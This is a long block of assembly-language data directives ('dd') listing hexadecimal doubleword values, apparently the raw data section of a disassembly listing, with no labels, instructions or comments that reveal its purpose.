dd 75693154h, 0E42CED7Eh, 0BD00B4EBh, 52C71EFFh, 308F07Fh
dd 86DB3BDEh, 75984A1Bh, 60B1CF41h, 0EA480600h, 758A73C0h
dd 39E7E87h, 59B3E5C4h, 5000230Eh, 5124494Fh, 13115Dh
dd 0E93695EEh, 0F90C011Ch, 645F11C7h, 0BA43A471h, 0EAE351E4h
dd 154E2439h, 0D3833F5Eh, 89AC6655h, 14DF09D8h, 16F0D402h
dd 60817D19h, 10CCFDh, 8E05290Fh, 5D972138h, 3429A00h
dd 77619214h, 0E50E00EAh, 0E68CFCDBh, 8B3843E8h, 3839004Eh
dd 0F3343F44h, 1C890EBCh, 708072C2h, 9AB4A699h, 0DA012E00h
dd 0E09CA444h, 49DB077Ch, 303E40DDh, 0BE15FD97h, 0BD45E600h
dd 0F16ECF47h, 0C9232E11h, 38D1D83h, 9DAAD03Fh, 130CC3CCh
dd 0C46E2D89h, 493F4778h, 3F9400EDh, 0BA4DDFE5h, 0B69A01A7h
dd 2205B10Eh, 0A01BF031h, 7BECF203h, 0F0CFE958h, 5C91A4h
dd 0ED0416F5h, 0E102AD96h, 0DE5F2713h, 672DD700h, 865DCBh
dd 0DDBC8239h, 503179CFh, 8A271C00h, 6DAAA1B6h, 4CCE3838h
dd 0C1B4A200h, 863D53D8h, 0AC231200h, 28B61CA7h, 4B9F0024h
dd 5F42E3A1h, 5D0019A3h, 0B4763D8Eh, 1C0C17B5h, 80FBD036h
dd 0C88CE1EDh, 0FF0116CCh, 0F2234FDh, 55D483CDh, 0F37B0063h
dd 8B2E4D2Dh, 870020C4h, 145B085Dh, 2408Ah, 57EDE17Eh
dd 896D0A94h, 0CDE2FB00h, 0E7F9C112h, 8E680047h, 36E9FEB6h
dd 52004932h, 0BF98FCDAh, 0DAF8Fh, 0D68AC062h, 26079AEAh
dd 2ED35A09h, 661C2068h, 28FCF36h, 9D2F4A63h, 0F0807A2Ah
dd 28E6F584h, 0FB211700h, 83E00C6Ah, 1D57591h, 75F30630h
dd 0DC956264h, 0AB03C6EBh, 0ADC94721h, 78FCF820h, 6F67006Ch
dd 0B1BE8612h, 0B4038A2Eh, 6D0F36ABh, 0E090D09Eh, 0B73A0043h
dd 2D639760h, 5D387DA5h, 382E0E78h, 0D6BD0075h, 0EE9CC271h
dd 0A562072Dh, 50C06195h, 541C2B3Fh, 43369800h, 562A477Ah
dd 3D040748h, 0D7943BF5h, 0F05BD073h, 0CC00B2BAh, 5CCAF49Dh
dd 5E2D57h, 911E9A93h, 0CD104A94h, 0A06B3B01h, 0CB1DFAE0h
dd 1595C3D8h, 942F85E6h, 4632A700h, 5FA05035h, 0A00C479h
dd 0B82154D4h, 8BD771h, 0F515E6D3h, 0B98231Dh, 53D9B200h
dd 0D0C4273Eh, 0DED50020h, 0CC8964F7h, 4E037212h, 21BAE522h
dd 0B82CAB0Fh, 0B74ADDh, 0ECB460B2h, 160EF727h, 3C5AA509h
dd 85E80180h, 44F4AE2Dh, 45643DEFh, 96F76D80h, 117526F1h
dd 1D28C448h, 5B406810h, 1DE75658h, 25AC00A4h, 0FD22B98Dh
dd 50EC26FFh, 3EB1000h, 0FC97ED5Ah, 0C6A00009h, 6727D963h
dd 0C900D236h, 2623C76Dh, 4839DCE6h, 62090C68h, 1600CBD1h
dd 190E6524h, 36978300h, 75C4BBAh, 44B40084h, 0B79FD895h
dd 7800BD5Eh, 13D7E59Bh, 5FF3B5h, 0FF074D84h, 7571FD79h
dd 77000D78h, 69281C46h, 87F5F7h, 396C8F9Eh, 795E6BBAh
dd 5DFE5C00h, 0B5B1E97h, 0D7C50224h, 7F8FE86Eh, 4C83D0A0h
dd 4D007876h, 6F226C04h, 0FC5077h, 3A97D39Eh, 0CD1FF4E8h
dd 0E5A23600h, 0C79C252Ch, 697900AAh, 5F9B0232h, 0B8773E93h
dd 0EAF27704h, 14C050C6h, 77629888h, 3D850CAEh, 0EA70D3CEh
dd 2025A531h, 0C1F34D49h, 119E0EA6h, 0CEAD042Dh, 0E4DAC05Ah
dd 547EFBEEh, 30CF73Bh, 458356A9h, 47ADE06Fh, 0BE250140h
dd 0D1D9588Fh, 7D6180CAh, 946CD434h, 0BAB2A048h, 3D350179h
dd 62C553B7h, 5AF88082h, 5CE8BFDEh, 38586F8Eh, 6916980h
dd 0EB247E95h, 760092CBh, 84D2567Ah, 4C800028h, 40B520FAh
dd 0F31C9B68h, 4B8024B0h, 0BA9F85C5h, 9896ECD5h, 181B0065h
dd 8EB4C349h, 0EA001A99h, 80F6B04Ah, 7CEFFB33h, 15F000ABh
dd 0EEDF2597h, 0B600E241h, 76BD1214h, 0F3D76Dh, 4DE011ABh
dd 0C6E9BB24h, 79045600h, 0E3A5C1CCh, 2E1F1F7Eh, 80251F89h
dd 0F35BAC01h, 0DC00B63Fh, 0F620DF40h, 0FA0BD198h, 0D121FC9h
dd 0E3278013h, 0A3B15C47h, 84CD293Ch, 680946EEh, 0D4C53B80h
dd 9D0600F9h, 8D7A8321h, 0CB000C29h, 0A0CA33C9h, 0A8E781D7h
dd 7CC23A0h, 0D3700DC0h, 0DDA8C0FEh, 6AEA06FBh, 3FFD8802h
dd 80186420h, 0CEB9ACACh, 0F808015Ch, 7172EA25h, 0B809F069h
dd 0AF491C06h, 159EBA1h, 69323B2h, 40CDF59Fh, 0CE33E8CCh
dd 35A7691Eh, 0AECC4D01h, 318F5C9Bh, 0E7C09264h, 6B97562h
dd 5924A200h, 9102D543h, 0C80E00A9h, 8B67E3F1h, 0A3007E51h
dd 5C1AB3A0h, 0A8F078Dh, 9DAF17B9h, 7F938F28h, 4800A2E9h
dd 6243EF1Dh, 0EE6E0500h, 65BF6B3Eh, 0D6E33FD1h, 0B3DF0E00h
dd 0DE705104h, 3C0A8270h, 0C7AB945Ch, 2AF8302h, 6A2C81F0h
dd 0EEC4605Eh, 8C275469h, 0DD6500C0h, 570BE574h, 0FC00687Eh
dd 8C8E3F73h, 887F48h, 8291875Ah, 83BBCC66h, 0FEDBA900h
dd 0B6026229h, 1FA73DC4h, 808FAE8Dh, 0C1041ECAh, 16C61104h
dd 456AF0h, 9801F30Ch, 0C7712A93h, 64AB3301h, 7CE7E15h
dd 1FDA85F0h, 1F25D2F9h, 543C0C66h, 13D8F18h, 0B19F98AFh
dd 31729059h, 8B519C1Dh, 18F208D2h, 29C57E83h, 6007BEAEh
dd 0FFEC42FDh, 288D2AC0h, 0DC581705h, 23C2017Bh, 20AF7AD0h
dd 0B9CA119Fh, 441802Fh, 5C00817Bh, 714498C0h, 0FDF10085h
dd 5DFCE0AEh, 20537905h, 0A7091070h, 0A4CA3E00h, 0E1B35A2Fh
dd 7CAA2C01h, 0D013DA8Bh, 1A64E89Ah, 0F094B8C1h, 831BEB99h
dd 0F069A863h, 53FEE94Eh, 2A004CAEh, 46741311h, 981081ECh
dd 0AF053B2Bh, 2099D436h, 0FDB090C0h, 0F4607E72h, 9F0924A8h
dd 0E938C5D4h, 0C7A841DCh, 4954B848h, 0AB040FF8h, 0A7C3E90Ch
dd 0AA281F10h, 400D069h, 0B0810D59h, 90EB96C7h, 0ACE9005Ch
dd 19B31833h, 29C44BAFh, 5844122Dh, 454048C3h, 81280832h
dd 24E4C642h, 460221A4h, 14823512h, 98249A45h, 0CCC4C840h
dd 0F900087Bh, 220C64C0h, 165AAAh, 64A1ADEh, 0AFB55883h
dd 0EA687500h, 864B80FCh, 0F6D50098h, 2C077684h, 0F9007278h
dd 0C56B12A2h, 0F49568h, 8F9CDFBBh, 0A0481E75h, 90B11A00h
dd 0B136316h, 18AFA7Ch, 32244237h, 0E4BB48AFh, 3B0C924Ah
dd 113CC1E5h, 0AA700F2h, 2B3FF62Fh, 68554F65h, 451BECB4h
dd 71FF801h, 0DFD883E6h, 34AAC4h, 0D917356Fh, 109D67E9h
dd 9B86D200h, 90C7C261h, 0FF3F001Ch, 0DBACAA32h, 6500B171h
dd 57AB59EDh, 690C53h, 0A3BDB4AEh, 0C9B0143Bh, 16A18000h
dd 189057D9h, 4DCB382Ch, 0B125BA09h, 88092CA3h, 6C26E878h
dd 30004D20h, 0ED978EC6h, 6AEE0028h, 474ECE89h, 0F0004A73h
dd 5EF94D79h, 0C3FC3h, 0C1D7BAD4h, 0C468C729h, 40512000h
dd 3858D69Dh, 0DCB800E1h, 9BE3C317h, 70605422h, 41B48918h
dd 7E52037Dh, 0B601B5C4h, 10E04F90h, 0BFDF4700h, 7BFC17E2h
dd 1B3800DEh, 34910FC3h, 0F0054558h, 4E37036Fh, 0D7859400h
dd 3652E29h, 476CF580h, 0F4C056B3h, 3A1F5B01h, 0A340743Eh
dd 0A8039116h, 0BFF61EB7h, 0F4C600BEh, 0B9D07A9Fh, 5C7CD700h
dd 7F8624FBh, 0C4361ED2h, 124485AEh, 2FDC019Eh, 0D47DA271h
dd 90E0D75h, 20242213h, 74BBFB81h, 86B707BDh, 501CA360h
dd 0BF49F02Dh, 0BE008C98h, 0E39FBB6Eh, 7BAC69FDh, 0DC1F09A0h
dd 0A3A0C34Eh, 9FCFA0Ah
dd 0B087DF01h, 51500514h, 724F06Fh, 9503E400h, 0BE0D9637h
dd 6AF100A4h, 0AC4A89D6h, 0FE7555A3h, 0D3A45A54h, 80501D3Fh
dd 2C9B8C27h, 3DBBFC96h, 5F802BACh, 0C9DF394h, 0EC60CC13h
dd 0B85C679Ch, 39D90011h, 6A822CF7h, 900021C0h, 0A0AFCBFAh
dd 0A66889h, 14D2F625h, 464AF275h, 0F954E000h, 0F4EA719Fh
dd 0FEDE00CDh, 0A47A4FA1h, 0CE007C01h, 0D9124C4Ah, 0EAAF30B7h
dd 35501D6Dh, 4980F9BAh, 75333440h, 3909BE07h, 78ED8E1h
dd 5F20A08Ch, 0B861AAAh, 859AC3B2h, 0D7D99980h, 4C0356A6h
dd 14735548h, 90490F26h, 0CF430CC9h, 0B7981806h, 783CFC2Bh
dd 27098010h, 514B9C22h, 434D5C45h, 413B8900h, 0BEE86B0Fh
dd 0BBD8A20Eh, 63FA80C7h, 230DDBh, 0BA62E545h, 0C6DAF154h
dd 93795200h, 0E834D714h, 488909D1h, 1800753Ch, 44774E21h
dd 0CA005070h, 5D59431Dh, 0FCE879DFh, 0CBD600BCh, 4A508CDEh
dd 0F04EB32h, 0A93B40ADh, 67E604C0h, 0DB1B00ECh, 0AC045F19h
dd 7A00CBC3h, 6BBAFF3Bh, 7AD2526h, 8BD49D55h, 6A6100CAh
dd 0B40038E6h, 6616EA17h, 6D5B4Dh, 187302D6h, 0F49AD825h
dd 7F5D1B0Fh, 0EB3C409Dh, 0CFA7ABh, 43DDD5BEh, 0FB6D4DDEh
dd 708EC326h, 0EF8999Ch, 0C0A8A012h, 6CC8727Dh, 3A60EA89h
dd 8F8004F2h, 0F9DFC673h, 0ED093B88h, 0B92FC7h, 0B62B740h
dd 0EC724Ah, 950A72B5h, 9810EEE9h, 62CF407h, 0DC507F50h
dd 522312h, 0A0ED3157h, 5FE56614h, 86B08861h, 0DD302DA5h
dd 458B03B8h, 0D8702812h, 0F5F20590h, 1AC53200h, 0A8ED43F0h
dd 4DB9008Bh, 7D19403Bh, 644CB475h, 6BDC003Ah, 8B632BC0h
dd 0EE32E2D1h, 0D304303Dh, 224AED19h, 729C3B00h, 0D1C52384h
dd 0B8A50088h, 63E5397Ch, 6590E144h, 41EBC701h, 2DE6DF1Fh
dd 7A31E7DCh, 0D9530758h, 0C344884Bh, 0A4F00335h, 4D737BA5h
dd 9B05ACFCh, 0AB8B3DE5h, 77B6F005h, 0C9A9C040h, 5263D4h
dd 0E8ACA9Ah, 35F6380Ah, 44F2FD50h, 93DA9B00h, 0CFB7BB70h
dd 0F4A50084h, 2B9D76E6h, 0F20526BDh, 0DA15F5C2h, 8F6B9807h
dd 0EC70F017h, 0B2A50CD8h, 0DE9B005Ch, 52AA9D48h, 0BD0F94B2h
dd 0E30BDDC5h, 88835BB7h, 446ADAh, 8F0F1CCDh, 169ADC49h
dd 1D8AF00h, 0EDFF12FAh, 14F73EFh, 0EB368D3Bh, 40E97D8Fh
dd 0A282BF50h, 1C541E3Dh, 0CD40CAC5h, 8377FC38h, 0A62F0003h
dd 0B21F136h, 0AA26C0D4h, 0E2006465h, 0F66D4518h, 0F5823004h
dd 64D2D618h, 7C378D0Ch, 3AAEC190h, 2060D7F8h, 547D5501h
dd 0D900ED72h, 0E4896138h, 0FC72BCA0h, 3103E88h, 3D1C844Ch
dd 621F80DAh, 0F49B1776h, 288FC400h, 4B1A5D5Ch, 9ED803FEh
dd 0A158366Fh, 0C369F7D0h, 1C5EB000h, 0DFE07319h, 0CD020023h
dd 0B4E19848h, 88BACB6Ah, 3B10FD4Ch, 25D83A4h, 80638BF9h
dd 0EAE1B22h, 0BFB36C17h, 0FFF1EC0h, 0BC39ABD5h, 48918F9Eh
dd 5BB60793h, 0B0F44F60h, 0DC8700E9h, 79CD9D07h, 2A019910h
dd 5470DAACh, 0AA8EDB4Eh, 409EB65Fh, 0C949E95Eh, 7CFE4011h
dd 56F5948h, 6B43D280h, 1CA1D4D0h, 679E3AF3h, 0D3995084h
dd 5CC4A0DEh, 0D23EDF78h, 3B6803Dh, 0A6F2AC5Ah, 576C1E86h
dd 0A08C5306h, 0C7F8E055h, 0A430C200h, 0BEB0EB12h, 722C0E35h
dd 8CE13C68h, 0E8D270E4h, 0C6073B08h, 0B34B7AA1h, 6B54002Fh
dd 0A0DA50h, 92BEA30Ch, 0B23BD180h, 866AE4E5h, 1DBAC500h
dd 91BD7B36h, 0AEA400FCh, 5C9BB22Ah, 0DB004298h, 37CB0288h
dd 60B6DDA8h, 5066C0E2h, 0EB009623h, 8C7F081h, 1F310637h
dd 0D7B69AB7h, 15C40FA6h, 0DDFCD720h, 0AA073FADh, 5E0DA8EEh
dd 8C4B406Eh, 0B876494Eh, 0A6CE1226h, 0B41405D2h, 95D900DAh
dd 25667BAh, 8176F32Eh, 0EE24C00h, 9AF978h, 0C0FA2C3h
dd 72DA8EBEh, 27074770h, 0D568F333h, 0EE5E8350h, 0FEE407E2h
dd 0B0F65734h, 0B8AE7490h, 0D0601F04h, 0CFAD8Ah, 0A30AD4A2h
dd 1A98003Eh, 0B3A0E753h, 4790008Dh, 2442AC3h, 330048F7h
dd 87B6EAFFh, 0F56D60h, 1D3DC18Dh, 0B850F872h, 72FEE48h
dd 73F74D82h, 188078C0h, 0C3A70039h, 0B20A677Fh, 953A770Bh
dd 2DAF8023h, 0F2573E0h, 6AADA011h, 0E8BC00DCh, 82B939B1h
dd 2030DD29h, 93A42189h, 0A6430033h, 4E27C08Bh, 5AF45D9Ch
dd 0BC0358EEh, 0BDEEE613h, 0A328A024h, 7DB430E5h, 62941F11h
dd 0BC9C8700h, 88B34473h, 72DFF401h, 4069012Bh, 0AB60823Fh
dd 0FCE320A6h, 5653EC00h, 0F3467614h, 52FB0037h, 9BFDDC6Ch
dd 3F00B0DDh, 0A1E5279Ch, 0D3CC21h, 0C760890Ah, 8F0C3316h
dd 0FDBBC401h, 347D7F11h, 18658C40h, 2DD800E0h, 3317C345h
dd 2E00BBB1h, 6288C493h, 0AD9558h, 53120222h, 0E0D7B85Ah
dd 859C3E3Dh, 87D88C18h, 4C168400h, 0DAFAB9h, 7D56753h
dd 5E1F2A1Ch, 98798A0Eh, 0F437A0B2h, 0FF0E3Bh, 0DE9670C2h
dd 6C8C7C1Ah, 9A93Eh, 2539F2B5h, 77F188Fh, 5998DCDh, 104A5024h
dd 0B207CBFCh, 7AF208DFh, 82FBF890h, 41C73FA9h, 5B3DDD80h
dd 451B01Bh, 1006B78h, 91F80969h, 3B45864h, 41FA0B31h
dd 0D0F7F9EBh, 0ADC6F106h, 73AA503h, 448B91h, 0B34FA948h
dd 2EEF5987h, 0CA99C500h, 7364CC90h, 5AD70086h, 0FB7B151Ch
dd 810F19A7h, 0C0CB3556h, 0F9776469h, 1BD40047h, 0EB838482h
dd 9C002926h, 5868B2C0h, 0E8F0621h, 33C12407h, 2500C754h
dd 9347CFA1h, 6E009E5Dh, 1DF33BDBh, 73F1F0h, 902912B9h
dd 7B8AAF97h, 0E1D99F2Eh, 0DF280B0Ah, 8FC0C301h, 7EF84FABh
dd 0A0E200F5h, 24026477h, 8200EDE4h, 3B4643D5h, 0CA2BD0h
dd 8B53ACE8h, 1E7622DCh, 673160BDh, 98EB4C85h, 971A703h
dd 0BDD86D16h, 6379BF22h, 0F091FA03h, 95F212h, 0ED843C29h
dd 1DB5FC47h, 3D0776F2h, 99244BB6h, 11D092D7h, 0A2342Fh
dd 0C1A731E0h, 1F7EF2E2h, 334D21C0h, 7B04E55Bh, 0C574003Eh
dd 0BC7D90E3h, 0C9720B60h, 0FA4F491Eh, 98116D18h, 78224C58h
dd 151A0D00h, 7E862AD7h, 5500A5EAh, 2F6AD0D4h, 0E4DA7D6h
dd 485C1263h, 30A176E0h, 0D42F6FE8h, 0DC5860h, 0A2AD27CAh
dd 84682E66h, 0A423241Ch, 40701170h, 74C01EEAh, 2704C77Ah
dd 0B2D6C043h, 97E62D85h, 0A845BB00h, 0D17149Dh, 8783300Bh
dd 0B738B5DCh, 10560900h, 0ED725433h, 0DA790063h, 3C519F80h
dd 0BA002455h, 4A44E01Ch, 3D23A0B6h, 1AB0D059h, 2D8B7D10h
dd 24C3C638h, 0D506FE2Ah, 2EA682Bh, 0A56593E6h, 2A4028CBh
dd 3C0F38B2h, 8052A99Fh, 4EE9DB1Ch, 4FA40FFDh, 5820936Ah
dd 8A1E22F4h, 43DEEE00h, 1AE0E7AEh, 0C915006Eh, 0A042D701h
dd 0E100175Ch, 45B70E81h, 0A06C5350h, 7B9E84A4h, 31493AECh
dd 636A1B87h, 0EF5490C7h, 0C400FC77h, 0D3502A5Ch, 410B0BAh
dd 8464254Eh, 0B65880CAh, 412446BCh, 0A7004EA6h, 6DCC4B13h
dd 0A3800D4h, 0E6E1C194h, 0CE008541h, 0BF7CEF3Bh, 0F1634Eh
dd 0D7FDB5CAh, 0DDE35DB2h, 0FFF01718h, 261B11h, 416F9BAEh
dd 51C25F04h, 1D28A501h, 60B54EA7h, 0FD3779F0h, 93B2D0h
dd 0F8E1102Fh, 9D996E43h, 9A28E900h, 0B50CF175h, 79F602E6h
dd 4894B21Fh, 616BC080h, 6300FAD9h, 0AFA8C3D6h, 0C672B7h
dd 59E8527Dh, 0A189B19Bh, 8A513F01h, 50C30649h, 3BEACC40h
dd 0C0E97786h, 302A16A8h, 2818370Ch, 2EC8623Fh, 35C805C2h
dd 80252906h, 967A5F48h, 0E9FF4900h, 9C95A2A8h, 0DA870056h
dd 980EFD5Ch
dd 0CB60146Ch, 367CD6C8h, 61E415h, 22E6C579h, 0CC946FBBh
dd 671F5700h, 78529BBCh, 36CB4C8Bh, 0BD62Ch, 4741B2ACh
dd 1E0EA4F9h, 793CEFAh, 0D44459F1h, 22388B80h, 0C8A9518Ch
dd 5724D0h, 0D9BC2E0Bh, 516F5DFEh, 2F1D4C98h, 5ED8404Eh
dd 0F8CA8638h, 7FDF0422h, 882ED084h, 0BE3CFA8Ch, 0D7251FEEh
dd 0A16913C1h, 0B6805696h, 0B09A9474h, 7C000A88h, 2F656D02h
dd 33B20E9h, 759B1924h, 26F04595h, 270752B9h, 0CDFB8D51h
dd 48D871C4h, 0D2F70037h, 0EAF1D8E9h, 3F0024B2h, 0DC056BB1h
dd 2196F17h, 0B6DFEC36h, 96E101E1h, 630424D9h, 0F615D004h
dd 6C807A1Bh, 0B4A136h, 3569D83Bh, 48EAA5C7h, 388F3F00h
dd 6E21F37Dh, 999700D4h, 4A384ADh, 0BBF6C664h, 0CC5521FDh
dd 9C04D979h, 31BA5E53h, 80014C5h, 706ED67h, 3A2E00E3h
dd 32F63D9Fh, 0E5009638h, 0F28F4F29h, 0F81ECE6h, 588297D0h
dd 0F212AFh, 2CB28762h, 0C0034692h, 0FF017C4Ah, 33D6FF6Bh
dd 40051261h, 0DB0C4186h, 0E0550D1Ah, 0A3050C07h, 30AF4C3Bh
dd 14331005h, 0C3B61C00h, 0CEB7E6A6h, 798FF408h, 2132ADC6h
dd 865C11E4h, 3ECB00FBh, 2BCAEAB4h, 1E4F7E1Fh, 5F2DFC66h
dd 73EF80A6h, 36F2FE3h, 0E79B940Ch, 0FCB840E6h, 32E913A6h
dd 0FF5900CAh, 14D720C8h, 6C3E5B07h, 0E5C034A3h, 7BA9ABDh
dd 0B6E89E13h, 0E1B310C7h, 9D0153D0h, 6932A705h, 0E5600EAEh
dd 73EC12E7h, 71E840EBh, 0A3B667C7h, 0FC97C8C0h, 2E0104h
dd 61AB12E7h, 326D4F0Dh, 4C006A98h, 381023D2h, 2009FDh
dd 0CC06BE9Dh, 7497D7CAh, 6C00BCF2h, 0D9DB4FB1h, 0F2358B3h
dd 0B86D5ACBh, 0D7602B82h, 193EE80h, 0A8A8850Eh, 7100F8D2h
dd 52F73B9Dh, 742733EAh, 21986053h, 0CF71F974h, 76260103h
dd 38379B54h, 24D8F248h, 1B57DB16h, 201068C0h, 0E166921Fh
dd 44670D6h, 0C871FF1Eh, 99C4CF3Bh, 71F04740h, 59071BB1h
dd 0AA2DF9DAh, 6B76723h, 17E7BB79h, 5410D936h, 0E1060963h
dd 18378BB1h, 58F31909h, 4F04101Bh, 0E5C500A0h, 6EA6FBB7h
dd 8CCABB0h, 26F52147h, 2CD9C5C8h, 14410000h, 7613DD69h
dd 6B28D00h, 5B7DC0C4h, 0F2F834h, 102E2272h, 2A0D2C63h
dd 4050A209h, 8DD381E1h, 3CC11F0h, 0CB3E00D0h, 8882F63Ch
dd 5003C844h, 42B513B4h, 63420226h, 0D5C5164h, 0EC807CC2h
dd 0D0A1E3E7h, 0FFC63Eh, 87316E0Bh, 0B9F9C0h, 0E46174A7h
dd 9A2AE3ABh, 59FC3C00h, 986312FEh, 76BFB0BEh, 0E21C0087h
dd 4B2A4EDEh, 9300C311h, 0D564F061h, 0E1ADC4h, 0CC9AEB08h
dd 0A368B45Dh, 0E0123900h, 1A0F612Eh, 0B02F005Ah, 4B6752D5h
dd 89FA2398h, 76E2D600h, 74D933F6h, 0E1FFAFCh, 8720B5D3h
dd 6C238018h, 0F67253Fh, 0E0A48E5Bh, 135E18DEh, 912B0B64h
dd 480F800Eh, 0C83108EDh, 0D800F8B1h, 0A8D331A5h, 371036B2h
dd 0D0B16FB3h, 894C9CE6h, 225DC800h, 0BA3174A6h, 0F140D72Fh
dd 0C6CB20B5h, 0D25ECC0Fh, 0A3934366h, 89610030h, 53B7195Bh
dd 490A43C7h, 0BC2AF005h, 38874186h, 0CAD50029h, 3C52F68h
dd 0C83B97CCh, 0A7F0159h, 67776496h, 0C42E03DAh, 0FDBD1888h
dd 0AE68CF00h, 0D11C322h, 4E5D00A4h, 0F2AC5675h, 2CFA5406h
dd 0D838EB0Eh, 0EE67878Eh, 0ECA8B8C0h, 2380B584h, 7CBA2290h
dd 8D1353EEh, 0E300F47Eh, 3FDC9814h, 3BD23910h, 0D33000F4h
dd 0C5ED517Dh, 2C0C4386h, 85394A7h, 0DB21C069h, 1896EDEAh
dd 0FA7AB10Fh, 4CC01E6Fh, 0B4608C98h, 0CA191CE6h, 9AA44126h
dd 8C2F3DDCh, 812BC38h, 0E8751Dh, 0DA7D21EBh, 0C094541Fh
dd 19E5CF0Ch, 0E10202Dh, 0F6B35262h, 78E280DFh, 9671FB20h
dd 7F19C009h, 829C8177h, 1881516Ch, 1C5DC3F8h, 1EB1F078h
dd 0B998CB07h, 50807916h, 3A7DB643h, 0B480E162h, 0C4A2F7B1h
dd 3C0082A4h, 97A7DDA8h, 149A1529h, 0A861BE41h, 0CD6B0E00h
dd 0CF807317h, 5362AF00h, 0A9695823h, 81970CB4h, 6738BEF3h
dd 3F0FFE78h, 0A091764Bh, 0AC944936h, 0D7EFA0B0h, 0CC67C8Ch
dd 74681BE7h, 0CA002068h, 9E94ED62h, 0F0608431h, 0E9DA0050h
dd 883C7098h, 18F87AFFh, 930328E6h, 0C04896BBh, 7019005Ah
dd 0A38F2B9Ch, 44A0F922h, 986535DDh, 64C3F660h, 5CC2C847h
dd 878A0080h, 0A0C917C1h, 0F072C12h, 929DE299h, 0AB19FDA0h
dd 303750Ch, 59CC2C6h, 48036F37h, 0ACA5A0BEh, 0EC781550h
dd 0B03E94B1h, 48143DFAh, 60BCFA00h, 61CF2064h, 1CF79D01h
dd 937DA60Bh, 96FC5087h, 920E606Ch, 9500F9A4h, 0DF1898CCh
dd 0C00BC1h, 0A33F6117h, 0F75EA6D0h, 2065F2F8h, 42E2E11h
dd 2F0BD1C3h, 807B1000h, 0EC18BE76h, 0AC050314h, 0F98FDED0h
dd 1EF793A0h, 2EDB4E03h, 21637822h, 3004F829h, 7A04D2A7h
dd 62DC444Fh, 0C942FC48h, 208624A8h, 83B4CF7Fh, 126A2184h
dd 14627994h, 24C4213Eh, 26807F88h, 62407Dh, 0D3D1F0F1h
dd 0E100C020h, 0BB278E71h, 170CDF7h, 0A4118A95h, 0C876625Bh
dd 0EF00C926h, 0CD7740DDh, 0ACC466h, 67E3F016h, 9A9E1EE0h
dd 4870D700h, 0BBCA9C6Bh, 41B403B9h, 2A0C374Ah, 5919FBB0h
dd 0EF28480Fh, 988DE0E8h, 521439h, 0ACCDC2D7h, 69999CC7h
dd 81E52800h, 0EB19F14Bh, 430A3AFFh, 0AC363980h, 84D8C610h
dd 3044672Ch, 6840291Eh, 2AB1DB8h, 5ECE00D0h, 16E38C88h
dd 0B2009C50h, 96396A09h, 7B84657Ch, 0CF5131D8h, 0F4D3DE60h
dd 0C3007630h, 38D4FE4Fh, 0F4854C2h, 66B4703h, 737217A0h
dd 9300929Bh, 0F3EA3FE7h, 159FF7h, 0FC88D91h, 43DDDFAAh
dd 3CFFE103h, 0B8497965h, 57A3D6h, 0ACE20A15h, 50178778h
dd 8F6E018h, 795A90h, 0EE8EE418h, 0C156CBA0h, 30F87B0Eh
dd 37462075h, 59FA2A7h, 8B8D4248h, 3910C03Fh, 26391B0Dh
dd 0A4678097h, 83DD637Eh, 0E2730042h, 8F2EFCBDh, 0D000F321h
dd 93290CB6h, 0E0E37Eh, 3CEEAD31h, 3962ACFBh, 0B286B001h
dd 4ABD6592h, 7576E4C8h, 44C00FAh, 74370D72h, 540184B4h
dd 9F46FD4h, 0E2F818DCh, 635E005Ch, 24F50723h, 22003795h
dd 0B4E8F1C2h, 8013C5h, 4520C8B0h, 0A834C1AAh, 0BF9E9C00h
dd 0A4717894h, 0D4250024h, 7B034B76h, 0A3795C4Fh, 0B57D1B03h
dd 0A051736Dh, 0EC96DFh, 0B4C7A863h, 0E637A67Bh, 9C98411Eh
dd 0FCE17200h, 5B2BBEh, 2841A5Dh, 8A1CE256h, 9509F1E6h
dd 0ED93C98h, 3F416064h, 0F4C275E6h, 0F02700B5h, 0BFD46849h
dd 56000E16h, 2C13423Eh, 0E4B7AC8h, 0D88C5E83h, 0FCF0B401h
dd 0C6B07BB9h, 904800C1h, 0C8762385h, 1F7AA2F4h, 0F2E62F00h
dd 0AD18D7E5h, 3C9F007Dh, 4F14955Dh, 6103A56Fh, 8BF72ACh
dd 8EF28882h, 0C4F9009Bh, 418B2C56h, 451E6703h, 69C3C32Fh
dd 0AF863C8Ah, 0F2E1D170h, 0AB23C71h, 0D9A5D0h, 0B7FA18D6h
dd 0FD30FCA7h, 5650ED05h, 80EAF021h, 0D6FB241Ah, 2A187C00h
dd 0B678B55Ah, 5280077h, 0B95898DFh, 0A6027668h, 95BAFF45h
dd 4244025h, 4F320046h, 0AC7713BCh, 61727AEEh, 8310A61Eh
dd 6342791Fh, 40FF2217h, 0B6599h, 745408EFh, 831A0419h
dd 70A0D407h, 1355A8EDh, 0DE3B8580h, 0A1550028h, 0CB3F86B1h
dd 9F0F8F03h, 6046BF1Ah, 4E2BE50Eh, 71D300E8h, 0A290B193h
dd 627C2806h, 55325201h, 0F3CE2594h, 0C764D4h, 0D5FE14C4h
dd 110B1B81h, 6C68060Fh, 0BFC3A5CAh, 0FC2DE000h, 192BD1Fh
dd 80C190Bh, 0F0B03810h
dd 0D7001548h, 0DBD85F75h, 74A7B65h, 0ADA1979Dh, 9AF0506Ah
dd 833A3107h, 595830Bh, 0B8200667h, 103F468h, 9C38F25Bh
dd 0EC6AE822h, 69007BF5h, 0E9F667F3h, 7CECDA5Ch, 16890736h
dd 103D22C7h, 0D5F8CBCEh, 45433Bh, 0D0C16514h, 89861h
dd 0EFB788C8h, 36CF6B39h, 97B25D01h, 0ABC31D99h, 9DE7F4h
dd 2AAD8D55h, 2BA92DA2h, 0D4DF6E00h, 29D1690Dh, 0D5BD03BFh
dd 0F74F4082h, 2ED830A8h, 2B91E900h, 5D448D75h, 3F53006Dh
dd 8546980Fh, 4CEE0DF6h, 14AD5700h, 8848F8Bh, 7FFA3D31h
dd 6E616782h, 68405133h, 0F95C0E9Bh, 901C000Ch, 0C185E11Bh
dd 5F000A1h, 931DA945h, 0C5F0EE0Fh, 0D271271Ch, 1AE49C00h
dd 3168FD1h, 78A2328Dh, 0FAF20E7Bh, 0C6B74460h, 80DE5239h
dd 4FC8BF1Ch, 0D05371h, 0D95134ADh, 7F9695E7h, 10523D00h
dd 533E1D7Ah, 0B87E0B2Dh, 79005AABh, 1828B01Ah, 0A9843Bh
dd 0BFCB818Fh, 0AD2956h, 5500BECh, 208AD121h, 6614F100h
dd 0DB789245h, 492E00E6h, 0D59B573Ah, 0AF001CE9h, 0D4BB750Bh
dd 2740DC7h, 0C3E1BAE7h, 0C6E072EFh, 341E60D6h, 0FD7A7B0Ch
dd 0F401A579h, 55416BA7h, 35F4638Ch, 80AA008Bh, 3F195070h
